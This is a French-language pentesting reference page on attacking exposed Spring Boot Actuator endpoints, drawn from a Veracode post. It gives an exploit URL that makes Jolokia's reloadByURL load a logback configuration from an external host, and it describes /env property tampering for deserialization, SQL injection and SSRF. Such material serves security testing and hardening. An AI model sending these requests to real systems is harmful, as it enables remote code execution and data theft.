Spring Actuators
Last updated
Last updated
De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Consultez le post original sur [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Les actuateurs Spring Boot enregistrent des points de terminaison tels que /health
, /trace
, /beans
, /env
, etc. Dans les versions 1 à 1.4, ces points de terminaison sont accessibles sans authentification. À partir de la version 1.5, seuls /health
et /info
ne sont pas sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
Certains points de terminaison Actuator peuvent exposer des données sensibles ou permettre des actions nuisibles :
/dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
, et /heapdump
.
Dans Spring Boot 1.x, les actuateurs sont enregistrés sous l'URL racine, tandis que dans 2.x, ils sont sous le chemin de base /actuator/
.
Exécution de code à distance via '/jolokia':
Le point de terminaison /jolokia
des actuateurs expose la bibliothèque Jolokia, qui permet l'accès HTTP aux MBeans.
L'action reloadByURL
peut être exploitée pour recharger les configurations de journalisation à partir d'une URL externe, ce qui peut entraîner une XXE aveugle ou une exécution de code à distance via des configurations XML élaborées.
Exemple d'URL d'exploitation : http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Modification de la configuration via '/env':
Si les bibliothèques Spring Cloud sont présentes, le point de terminaison /env
permet la modification des propriétés environnementales.
Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, telles que la vulnérabilité de désérialisation XStream dans l'URL de service Eureka.
Exemple de requête POST d'exploitation :
Autres paramètres utiles:
Les propriétés comme spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
, et spring.datasource.tomcat.max-active
peuvent être manipulées pour diverses exploitations, telles que l'injection SQL ou la modification des chaînes de connexion de la base de données.
Une liste complète des actuateurs par défaut peut être trouvée ici.
Le point de terminaison /env
dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.
RCE Env + H2:
Détails sur l'exploitation de la combinaison du point de terminaison /env
et de la base de données H2 peuvent être trouvés ici.
SSRF sur Spring Boot via une interprétation incorrecte du nom de chemin:
La manipulation par le framework Spring des paramètres de matrice (;
) dans les noms de chemin HTTP peut être exploitée pour une falsification de requête côté serveur (SSRF).
Exemple de requête d'exploitation :